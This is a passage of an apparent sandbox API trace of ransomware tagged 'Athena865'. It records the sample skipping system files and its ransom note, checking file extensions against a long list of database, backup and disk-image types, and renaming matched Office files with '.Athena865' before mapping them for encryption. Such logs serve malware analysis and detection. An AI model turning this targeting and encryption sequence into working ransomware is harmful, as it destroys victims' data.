3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0075.218] lstrlenW (lpString="nwdb") returned 4 [0075.218] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0075.218] lstrlenW (lpString="nyf") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0075.218] lstrlenW (lpString="odb") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0075.218] lstrlenW (lpString="odb") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0075.218] lstrlenW (lpString="oqy") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0075.218] lstrlenW (lpString="ora") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0075.218] lstrlenW (lpString="orx") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0075.218] lstrlenW (lpString="owc") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0075.218] lstrlenW (lpString="p96") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0075.218] lstrlenW (lpString="p97") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0075.218] lstrlenW (lpString="pan") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0075.218] lstrlenW (lpString="pdb") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0075.219] lstrlenW (lpString="pdm") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0075.219] lstrlenW (lpString="pnz") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0075.219] lstrlenW (lpString="qry") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0075.219] lstrlenW (lpString="qvd") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0075.219] lstrlenW (lpString="rbf") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0075.219] lstrlenW (lpString="rctd") returned 4 [0075.219] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0075.219] lstrlenW (lpString="rod") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0075.219] lstrlenW (lpString="rodx") returned 4 [0075.219] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0075.219] lstrlenW (lpString="rpd") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0075.219] lstrlenW (lpString="rsd") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0075.219] lstrlenW (lpString="sas7bdat") returned 8 [0075.219] lstrcmpiW (lpString1="EDIR.DLL", lpString2="sas7bdat") returned -1 [0075.219] lstrlenW (lpString="sbf") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0075.219] lstrlenW (lpString="scx") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0075.219] lstrlenW (lpString="sdb") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0075.219] lstrlenW (lpString="sdc") returned 3 [0075.219] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0075.219] lstrlenW (lpString="sdf") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0075.220] lstrlenW (lpString="sis") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0075.220] lstrlenW (lpString="spq") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0075.220] lstrlenW (lpString="te") returned 2 [0075.220] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0075.220] lstrlenW (lpString="teacher") returned 7 [0075.220] lstrcmpiW (lpString1="DIR.DLL", lpString2="teacher") returned -1 [0075.220] lstrlenW (lpString="tmd") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0075.220] lstrlenW (lpString="tps") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0075.220] lstrlenW (lpString="trc") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0075.220] lstrlenW (lpString="trc") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0075.220] lstrlenW (lpString="trm") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0075.220] lstrlenW (lpString="udb") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0075.220] lstrlenW (lpString="udl") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0075.220] lstrlenW (lpString="usr") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0075.220] lstrlenW (lpString="v12") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0075.220] lstrlenW (lpString="vis") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0075.220] lstrlenW (lpString="vpd") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0075.220] lstrlenW (lpString="vvv") returned 3 [0075.220] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0075.221] lstrlenW (lpString="wdb") returned 3 [0075.221] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0075.221] lstrlenW (lpString="wmdb") returned 4 [0075.221] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0075.221] lstrlenW (lpString="wrk") returned 3 [0075.221] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0075.221] lstrlenW (lpString="xdb") returned 3 [0075.221] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0075.221] lstrlenW (lpString="xld") returned 3 [0075.221] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0075.221] lstrlenW (lpString="xmlff") returned 5 [0075.221] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0075.221] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL.Athena865") returned 64 [0075.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll.athena865"), dwFlags=0x1) returned 1 [0075.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.223] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=542560) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.223] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.224] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.224] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.224] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84a60, lpName=0x0) returned 0x17c [0075.225] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x84a60) returned 0x2d50000 [0075.249] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.250] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.250] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.250] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.250] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.255] CloseHandle (hObject=0x17c) returned 1 [0075.255] CloseHandle (hObject=0x154) returned 1 [0075.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.258] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2=".") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="..") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="windows") returned -1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="bootmgr") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="temp") returned -1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="pagefile.sys") returned -1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="boot") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="ids.txt") returned 1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="ntuser.dat") returned -1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="perflogs") returned -1 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2="MSBuild") returned -1 [0075.258] lstrlenW (lpString="misc.exe") returned 8 [0075.258] lstrcpyW (in: lpString1=0x241e89e, lpString2="misc.exe" | out: lpString1="misc.exe") returned="misc.exe" [0075.258] lstrlenW (lpString="misc.exe") returned 8 [0075.258] lstrlenW (lpString="Athena865") returned 9 [0075.258] lstrlenW (lpString=".dll") returned 4 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2=".dll") returned 1 [0075.258] lstrlenW (lpString=".lnk") returned 4 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2=".lnk") returned 1 [0075.258] lstrlenW (lpString=".ini") returned 4 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2=".ini") returned 1 [0075.258] lstrlenW (lpString=".sys") returned 4 [0075.258] lstrcmpiW (lpString1="misc.exe", lpString2=".sys") returned 1 [0075.258] lstrlenW (lpString="misc.exe") returned 8 [0075.258] lstrlenW (lpString="bak") returned 3 [0075.258] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0075.258] lstrlenW (lpString="ba_") returned 3 [0075.258] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0075.259] lstrlenW (lpString="dbb") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0075.259] lstrlenW (lpString="vmdk") returned 4 [0075.259] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0075.259] lstrlenW (lpString="rar") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0075.259] lstrlenW (lpString="zip") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0075.259] lstrlenW (lpString="tgz") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0075.259] lstrlenW (lpString="vbox") returned 4 [0075.259] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0075.259] lstrlenW (lpString="vdi") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0075.259] lstrlenW (lpString="vhd") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0075.259] lstrlenW (lpString="vhdx") returned 4 [0075.259] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0075.259] lstrlenW (lpString="avhd") returned 4 [0075.259] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0075.259] lstrlenW (lpString="db") returned 2 [0075.259] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0075.259] lstrlenW (lpString="db2") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0075.259] lstrlenW (lpString="db3") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0075.259] lstrlenW (lpString="dbf") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0075.259] lstrlenW (lpString="mdf") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0075.259] lstrlenW (lpString="mdb") returned 3 [0075.259] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0075.259] lstrlenW (lpString="sql") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0075.260] lstrlenW (lpString="sqlite") returned 6 [0075.260] lstrcmpiW (lpString1="sc.exe", lpString2="sqlite") returned -1 [0075.260] lstrlenW (lpString="sqlite3") returned 7 [0075.260] lstrcmpiW (lpString1="isc.exe", lpString2="sqlite3") returned -1 [0075.260] lstrlenW (lpString="sqlitedb") returned 8 [0075.260] lstrlenW (lpString="xml") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0075.260] lstrlenW (lpString="$er") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0075.260] lstrlenW (lpString="4dd") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0075.260] lstrlenW (lpString="4dl") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0075.260] lstrlenW (lpString="^^^") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0075.260] lstrlenW (lpString="abs") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0075.260] lstrlenW (lpString="abx") returned 3 [0075.260] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0075.260] lstrlenW (lpString="accdb") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accdb") returned 1 [0075.260] lstrlenW (lpString="accdc") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accdc") returned 1 [0075.260] lstrlenW (lpString="accde") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accde") returned 1 [0075.260] lstrlenW (lpString="accdr") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accdr") returned 1 [0075.260] lstrlenW (lpString="accdt") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accdt") returned 1 [0075.260] lstrlenW (lpString="accdw") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accdw") returned 1 [0075.260] lstrlenW (lpString="accft") returned 5 [0075.260] lstrcmpiW (lpString1="c.exe", lpString2="accft") returned 1 [0075.261] lstrlenW (lpString="adb") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0075.261] lstrlenW (lpString="adb") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0075.261] lstrlenW (lpString="ade") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0075.261] lstrlenW (lpString="adf") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0075.261] lstrlenW (lpString="adn") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0075.261] lstrlenW (lpString="adp") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0075.261] lstrlenW (lpString="alf") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0075.261] lstrlenW (lpString="ask") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0075.261] lstrlenW (lpString="btr") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0075.261] lstrlenW (lpString="cat") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0075.261] lstrlenW (lpString="cdb") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0075.261] lstrlenW (lpString="ckp") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0075.261] lstrlenW (lpString="cma") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0075.261] lstrlenW (lpString="cpd") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0075.261] lstrlenW (lpString="dacpac") returned 6 [0075.261] lstrcmpiW (lpString1="sc.exe", lpString2="dacpac") returned 1 [0075.261] lstrlenW (lpString="dad") returned 3 [0075.261] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0075.261] lstrlenW (lpString="dadiagrams") returned 10 [0075.261] lstrlenW (lpString="daschema") returned 8 [0075.262] lstrlenW (lpString="db-journal") returned 10 [0075.262] lstrlenW (lpString="db-shm") returned 6 [0075.262] lstrcmpiW (lpString1="sc.exe", lpString2="db-shm") returned 1 [0075.262] lstrlenW (lpString="db-wal") returned 6 [0075.262] lstrcmpiW (lpString1="sc.exe", lpString2="db-wal") returned 1 [0075.262] lstrlenW (lpString="dbc") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0075.262] lstrlenW (lpString="dbs") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0075.262] lstrlenW (lpString="dbt") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0075.262] lstrlenW (lpString="dbv") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0075.262] lstrlenW (lpString="dbx") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0075.262] lstrlenW (lpString="dcb") returned 3 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0075.262] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0075.262] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0075.262] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0075.262] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\misc.exe.Athena865") returned 61 [0075.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\misc.exe" (normalized: "c:\\program files\\microsoft office\\office14\\misc.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\misc.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\misc.exe.athena865"), dwFlags=0x1) returned 1 [0075.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\misc.exe.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\misc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.267] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=571232) returned 1 [0075.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.268] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.268] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.268] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.269] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ba60, lpName=0x0) returned 0x17c [0075.270] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8ba60) returned 0x2d50000 [0075.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.298] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.298] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.299] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.305] CloseHandle (hObject=0x17c) returned 1 [0075.305] CloseHandle (hObject=0x154) returned 1 [0075.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.308] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="..") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="windows") returned -1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="bootmgr") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="temp") returned -1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="pagefile.sys") returned -1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="boot") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="ids.txt") returned 1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="ntuser.dat") returned -1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="perflogs") returned -1 [0075.308] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2="MSBuild") returned -1 [0075.308] lstrlenW (lpString="MLCFG32.CPL") returned 11 [0075.308] lstrcpyW (in: lpString1=0x241e89e, lpString2="MLCFG32.CPL" | out: lpString1="MLCFG32.CPL") returned="MLCFG32.CPL" [0075.308] lstrlenW (lpString="MLCFG32.CPL") returned 11 [0075.309] lstrlenW (lpString="Athena865") returned 9 [0075.309] lstrcmpiW (lpString1="CFG32.CPL", lpString2="Athena865") returned 1 [0075.309] lstrlenW (lpString=".dll") returned 4 [0075.309] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".dll") returned 1 [0075.309] lstrlenW (lpString=".lnk") returned 4 [0075.309] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".lnk") returned 1 [0075.309] lstrlenW (lpString=".ini") returned 4 [0075.309] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".ini") returned 1 [0075.309] lstrlenW (lpString=".sys") returned 4 [0075.309] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".sys") returned 1 [0075.309] lstrlenW (lpString="MLCFG32.CPL") returned 11 [0075.309] lstrlenW (lpString="bak") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="bak") returned 1 [0075.309] lstrlenW (lpString="ba_") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="ba_") returned 1 [0075.309] lstrlenW (lpString="dbb") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="dbb") returned -1 [0075.309] lstrlenW (lpString="vmdk") returned 4 [0075.309] lstrcmpiW (lpString1=".CPL", lpString2="vmdk") returned -1 [0075.309] lstrlenW (lpString="rar") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="rar") returned -1 [0075.309] lstrlenW (lpString="zip") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="zip") returned -1 [0075.309] lstrlenW (lpString="tgz") returned 3 [0075.309] lstrcmpiW (lpString1="CPL", lpString2="tgz") returned -1 [0075.309] lstrlenW (lpString="vbox") returned 4 [0075.309] lstrcmpiW (lpString1=".CPL", lpString2="vbox") returned -1 [0075.309] lstrlenW (lpString="vdi") returned 3 [0075.309] 